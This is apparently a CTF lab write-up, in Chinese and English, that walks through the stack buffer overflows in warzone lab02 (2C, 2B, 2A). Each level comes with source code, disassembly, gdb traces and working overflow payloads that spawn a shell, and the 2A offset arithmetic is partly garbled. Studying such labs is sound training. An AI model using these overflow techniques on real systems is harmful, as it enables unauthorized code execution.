lab2C
Let’s have a look source code;
#include <stdlib.h> #include <stdio.h> #include <string.h> /* * compiled with: * gcc -O0 -fno-stack-protector lab2C.c -o lab2C */ void shell() { printf("You did it.\n"); system("/bin/sh"); } int main(int argc, char** argv) { if(argc != 2) { printf("usage:\n%s string\n", argv[0]); return EXIT_FAILURE; } int set_me = 0; char buf[15]; strcpy(buf, argv[1]); if(set_me == 0xdeadbeef) { shell(); } else { printf("Not authenticated.\nset_me was %d\n", set_me); } return EXIT_SUCCESS; }
首先,快速浏览找到脆弱点,通过 function strcpy ,可以发现这里存在 溢出点;
接着就是 cmp set_me 和 0xdeadbeef, 成功就调用系统shell;
所以只要我们让 buf[]溢出到覆盖 set_me的值 == 0xdeadbeef 就可以;
栈中变量的分布是这样的:
esp+0 buf[15] <-- second definition esp+15 set_me <-- first definition
让我们看看汇编中 申明的变量 是不是在栈中这样储存的;
[0x080485b0]> pdf @ sym.main ╒ (fcn) sym.main 119 │ ; arg int arg_0_2 @ ebp+0x2 │ ; arg int arg_3 @ ebp+0xc │ ; DATA XREF from 0x080485c7 (entry0) │ ;-- main: │ ;-- sym.main: │ 0x080486cd 55 push ebp │ 0x080486ce 89e5 mov ebp, esp │ 0x080486d0 83e4f0 and esp, 0xfffffff0 │ 0x080486d3 83ec30 sub esp, 0x30 │ 0x080486d6 837d0802 cmp dword [ebp + 8], 2 ; [0x2:4]=0x101464c │ ┌─< 0x080486da 741c je 0x80486f8 │ │ 0x080486dc 8b450c mov eax, dword [ebp + 0xc] ; [0xc:4]=0 │ │ 0x080486df 8b00 mov eax, dword [eax] │ │ 0x080486e1 89442404 mov dword [esp + 4], eax ; [0x4:4]=0x10101 │ │ 0x080486e5 c70424f48704. mov dword [esp], str.usage:_n_s_string_n ; [0x80487f4:4]=0x67617375 ; "usage:.%s string." @ 0x80487f4 │ │ 0x080486ec e85ffeffff call sym.imp.printf ; sub.printf_12_54c+0x4 │ │ ^- sub.printf_12_54c() ; sym.imp.printf │ │ 0x080486f1 b801000000 mov eax, 1 │ ┌──< 0x080486f6 eb4a jmp 0x8048742 │ │└ ; JMP XREF from 0x080486da (sym.main) │ │└─> 0x080486f8 c744242c0000. mov dword [esp + 0x2c], 0 ; [0x2c:4]=0x280009 ; ',' │ │ 0x08048700 8b450c mov eax, dword [ebp + 0xc] ; [0xc:4]=0 │ │ 0x08048703 83c004 add eax, 4 │ │ 0x08048706 8b00 mov eax, dword [eax] │ │ 0x08048708 89442404 mov dword [esp + 4], eax ; [0x4:4]=0x10101 │ │ 0x0804870c 8d44241d lea eax, [esp + 0x1d] ; 0x1d │ │ 0x08048710 890424 mov dword [esp], eax │ │ 0x08048713 e848feffff call sym.imp.strcpy │ │ ^- sym.imp.strcpy() │ │ 0x08048718 817c242cefbe. cmp dword [esp + 0x2c], 0xdeadbeef ; [0xdeadbeef:4]=-1 │ ┌───< 0x08048720 7507 jne 0x8048729 │ ││ 0x08048722 e886ffffff call sym.shell
可以看到 line 28 是strcpy 第二个入栈的参数, 就是我们的 buf[], 而 line 32 cmp dword [esp + 0x2c], 0xdeadbeef 也就是set_me了
真正的栈状态就是这样:
esp+0x1d(29) buf[15] <-- second definition esp+0x2c(44) set_me <-- first definition
so easy:
lab2C@warzone:/levels/lab02$ ./lab2C $(python -c 'print("A")*15+"\xef\xbe\xad\xde"') You did it. $ whoami lab2B $
lab2B
let’s have a look source coke
#include <stdlib.h> #include <stdio.h> #include <string.h> /* * compiled with: * gcc -O0 -fno-stack-protector lab2B.c -o lab2B */ char* exec_string = "/bin/sh"; void shell(char* cmd) { system(cmd); } void print_name(char* input) { char buf[15]; strcpy(buf, input); printf("Hello %s\n", buf); } int main(int argc, char** argv) { if(argc != 2) { printf("usage:\n%s string\n", argv[0]); return EXIT_FAILURE; } print_name(argv[1]); return EXIT_SUCCESS; }
首先, 快速浏览代码找到脆弱点, 自定义 print_name function 里面调用了strcpy ,可是print_name里面没有调用系统shell,实际上shell function 没有被任何人调用;
那么我们只能覆盖 return address 到 shell function, shell 函数还需要一个参数,char* exec_string = “/bin/sh”;
- 先在静态分析下,找到 shell 和 Bin 的地址;
- 在print_name function 计算出偏移覆盖的地址;
- let’s do it
[0x080485c0]> iz~bin vaddr=0x080487d0 paddr=0x000007d0 ordinal=000 sz=8 len=7 section=.rodata type=a string=/bin/sh [0x080485c0]> is~shell vaddr=0x080486bd paddr=0x000006bd ord=070 fwd=NONE sz=19 bind=GLOBAL type=FUNC name=shell [0x080485c0]>
/bin/sh 的地址是 0x080487d0
shell function的地址是 0x080486bd
接下来计算溢出的偏移量,先静态分析;
[0x080485c0]> pdf @ sym.print_name ╒ (fcn) sym.print_name 45 │ ; arg int arg_2 @ ebp+0x8 │ ; var int local_5_3 @ ebp-0x17 │ ; CALL XREF from 0x08048733 (sym.main) │ ;-- sym.print_name: │ 0x080486d0 55 push ebp │ 0x080486d1 89e5 mov ebp, esp │ 0x080486d3 83ec28 sub esp, 0x28 │ 0x080486d6 8b4508 mov eax, dword [ebp + 8] ; [0x8:4]=0 │ 0x080486d9 89442404 mov dword [esp + 4], eax ; [0x4:4]=0x10101 │ 0x080486dd 8d45e9 lea eax, [ebp-local_5_3] │ 0x080486e0 890424 mov dword [esp], eax │ 0x080486e3 e898feffff call sym.imp.strcpy ;sym.imp.strcpy() │ 0x080486e8 8d45e9 lea eax, [ebp-local_5_3] │ 0x080486eb 89442404 mov dword [esp + 4], eax ; [0x4:4]=0x10101 │ 0x080486ef c70424d88704. mov dword [esp], str.Hello__s_n ; [0x80487d8:4]=0x6c6c6548 ; "Hello %s." @ 0x80487d8 │ 0x080486f6 e875feffff call sym.imp.printf ; sub.printf_12_56c+0x4 ;sub.printf_12_56c() ; sym.imp.printf │ 0x080486fb c9 leave ╘ 0x080486fc c3 ret [0x080485c0]>
print_name function 里面有一个自定义变量 char buf[15] , 在栈中的地址是 ebp-0x17(line 4)
此时栈状态是
ebp-0x17 buf[15]
ebp+0 save ebp
ebp+0x4 ret adds
ebp+0x8 push arg
那么从buf覆盖到 ret adds 即可,len=23(0x17)+4(0x4)=27 byte 所以构造的参数应该是
pattern = AAAAAAAAAAAAAAAAAAAAAA(27 Byte)bbbb(eip)
接下来使用暴力法获取偏移量
lab2B@warzone:/levels/lab02$ gdb lab2B Reading symbols from lab2B...(no debugging symbols found)...done. gdb-peda$ r AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK Starting program: /levels/lab02/lab2B AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK Hello AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x33 ('3') EBX: 0xb7fcd000 --> 0x1a9da8 ECX: 0x0 EDX: 0xb7fce898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0x47474746 ('FGGG') ESP: 0xbffff6b0 ("HIIIIJJJJKKKK") EIP: 0x48484847 ('GHHH') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x48484847 [------------------------------------stack-------------------------------------] 0000| 0xbffff6b0 ("HIIIIJJJJKKKK") 0004| 0xbffff6b4 ("IJJJJKKKK") 0008| 0xbffff6b8 ("JKKKK") 0012| 0xbffff6bc --> 0xb7fc004b --> 0xc7410c0e 0016| 0xbffff6c0 --> 0x8048740 (<__libc_csu_init>: push ebp) 0020| 0xbffff6c4 --> 0x0 0024| 0xbffff6c8 --> 0x0 0028| 0xbffff6cc --> 0xb7e3ca83 (<__libc_start_main+243>: mov DWORD PTR [esp],eax) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x48484847 in ?? () gdb-peda$
可以看到 当前EIP的内容是GHHH(line 17) 恰好是 27Byte+4byte(GHHH)。
现在让我们来看看 shell函数是怎么调用入参 /bin/sh的 ,我们这里不是用call 函数调用的,而是利用 ret 去覆盖掉了 ret adds 的值;
那么 我们进入shell函数的时候 ebp是多少呢 ?/bin/sh 应该放在栈的什么位置呢?
值得注意的是 当前栈状态是
0000| 0xbffff6b0 (“HIIIIJJJJKKKK”) <—-saved ret adds
0004| 0xbffff6b4 (“IJJJJKKKK”) <—- push arg
为什么这里的 入栈的参数不是 0x08呢,因为还没进入函数执行 push ebp,move ebp esp ;
所以 结合上面line 23 参入栈的位置就是 27(byte)+4(ret adds)+4+4(push arg)
所以构造的参数应该是
pattern = AAAAAAAAAAAAAAAAAAAAAA(27 Byte)bbbb(eip)AAAACCC(/bin/sh)
lab2B@warzone:/levels/lab02$ ./lab2B $(python -c 'print "A"*27+"\xbd\x86\x04\x08"+"AAAA"+"\xd0\x87\x04\x08"') Hello AAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAЇ $ whoami lab2A $
lab2A
Let’s have a look source code;
#include <stdio.h> #include <stdlib.h> #include <string.h> /* * compiled with: * gcc -O0 -fno-stack-protector lab2A.c -o lab2A */ void shell() { printf("You got it\n"); system("/bin/sh"); } void concatenate_first_chars() { struct { char word_buf[12]; int i; char* cat_pointer; char cat_buf[10]; } locals; locals.cat_pointer = locals.cat_buf; printf("Input 10 words:\n"); for(locals.i=0; locals.i!=10; locals.i++) { // Read from stdin if(fgets(locals.word_buf, 0x10, stdin) == 0 || locals.word_buf[0] == '\n') { printf("Failed to read word\n"); return; } // Copy first char from word to next location in concatenated buffer *locals.cat_pointer = *locals.word_buf; locals.cat_pointer++; } // Even if something goes wrong, there's a null byte here // preventing buffer overflows locals.cat_buf[10] = '\0'; printf("Here are the first characters from the 10 words concatenated:\n\ %s\n", locals.cat_buf); } int main(int argc, char** argv) { if(argc != 1) { printf("usage:\n%s\n", argv[0]); return EXIT_FAILURE; } concatenate_first_chars(); printf("Not authenticated\n"); return EXIT_SUCCESS; }
What dose the program do?
–> 从 main 函数里面 调用了 concatenate_first_chars();
–> 在 concatenate_first_chars 里面 定义了一个 locals 的 struct;
–> 提示输入 10 个 字符;
–> for 循环 , local.i=0 开始,只要 i 不等于 10, i ++;
–> 在循环里面, 通过fgets 读取字符 数量为 0x10(16) 给 word_buf
–> 把 word_buf 的第一个字符 复制给 cat_pointer;
–> cat_pointer inc;
现在让我们来理一理思路;我们最终的目的是要调用到 shell function,可是shell function没有被任何函数调用,那么我们只能溢出覆盖ret adds;
溢出靠谁呢,靠Fgets() 读取的0x10(16 byte) 因为 word_buf 只有12个Byte;
这里溢出之后会覆盖到谁呢?最多也就16Byte 用奶子想 肯定也不够覆盖到 ret adds;
那么让我们先来理一理栈的分布情况吧,就让我们用静态分析看看 进入concatenate_first_chars 的时候的栈状态;
[0x08048600]> pdf @ sym.concatenate_first_chars ╒ (fcn) sym.concatenate_first_chars 153 │ ; var int local_2_2 @ ebp-0xa │ ; var int local_6 @ ebp-0x18 │ ; var int local_7 @ ebp-0x1c │ ; var int local_10 @ ebp-0x28 │ ; CALL XREF from 0x080487e1 (sym.main) │ ;-- sym.concatenate_first_chars: │ 0x0804871d 55 push ebp │ 0x0804871e 89e5 mov ebp, esp │ 0x08048720 83ec38 sub esp, 0x38 │ 0x08048723 8d45d8 lea eax, [ebp-local_10] │ 0x08048726 83c014 add eax, 0x14 │ 0x08048729 8945e8 mov dword [ebp-local_6], eax │ 0x0804872c c70424a38804. mov dword [esp], str.Input_10_words: ; [0x80488a3:4]=0x75706e49 ; "Input 10 words:" @ 0x80488a3 │ 0x08048733 e888feffff call sym.imp.puts
刚进入 concatenate_first_chars 的时候
esp+0x00 ret adds <–pushed by call instruction
在函数里面 ,push ebp 进了栈;
esp+0x00 saved ebp <–push ebp
esp+0x04 ret adds <–pushed by call instruction
line 10, 把 esp的值 给了ebp,因为函数里的变量都是用 ebp调用的;
ebp+0x00 saved ebp
ebp+0x04 ret adds
现在让我们把所有已知的栈里面的变量放进来(on line 3-6)
ebp-0x28 [???]
ebp-0x1c [???]
ebp-0x18 [???]
ebp-0xa [???]
在函数一开始 把[ebp-local_10] + 0x14 的值 move 给了 [ebp_local_6],对应的C代码是:
locals.cat_pointer = locals.cat_buf;
那么 [ebp-local_10] + 0x14 = ebp-0x14 = cat_buf;
[ebp_local_6]=ebp-0x18= cat_pointer
ebp-0x28 [ locals.word_buf]
ebp-0x1c [ locals.i]
ebp-0x18 [ locals.cat_pointer]
ebp-0x14 [ locals.cat_buf]
ebp-0x0a […]
ebp+0x00 saved ebp
ebp+0x04 ret adds
我们知道locals.word_buf 是12个字节,Fgets 读取16个字节,可以造成溢出,可是溢出4个字节不至于覆盖到ret adds,最多只能覆盖到后面的 locals.i;
然而 循环正是有 locals.i 决定的 ,只要 i != 10 ,循环就可以一直执行下去,然后就可以一个字节 一个字节 复制给 locals.cat_pointer,然后 locals.cat_pointer 一直自增下去 就可以覆盖到 rets adds;
现在让我们计算一下 怎么覆盖到locals.i 让循环一直下去;只要让fgets的第十三个字符 +1 不等于10 即可,为什么要加1,因为执行fgets之后 i++;
[--------------word_buf-----------] [----i----] A A A A A A A A A A A A \n 41 41 41 41 41 41 41 41 41 41 41 41 0a 00 00 00
Fgets() 是不会截断换行的 而0x0a=10 local.i++之后 就等于 11;循环可以无限;
解决无限循环之后,我们来计算从locals.cat_pointer 覆盖到 ret adds 一共需要多少个Byte;第一次覆盖locals.i之后 也同样会被值赋给locals.cat_pointer,所以 后面的循环只需要 覆盖到 ebp-014 到 ebp0x0a 再到 ebp+0x04 所以是 10+10=4 =24Byte;
现在让我们看看 shell functions 的地址:0x080486fd
[0x08048600]> afl |grep shell 0x080486fd 32 1 sym.shell [0x08048600]> is~shell vaddr=0x080486fd paddr=0x000006fd ord=071 fwd=NONE sz=32 bind=GLOBAL type=FUNC name=shell [0x08048600]>
脚本用python来实现,写入 /tmp/out
#overflow locals.i print("A"*12) #overflow locals.buf 和 ebp+0x04 for i in range(23): print("A") #overflow return adds print("\xfd") print("\x86") print("\x04") print("\x08") #exit loop print("")
getshell
lab2A@warzone:/levels/lab02$ (cat /tmp/out;cat)|./lab2A Input 10 words: Failed to read word You got it whoami lab2end Segmentation fault (core dumped) lab2A@warzone:/levels/lab02$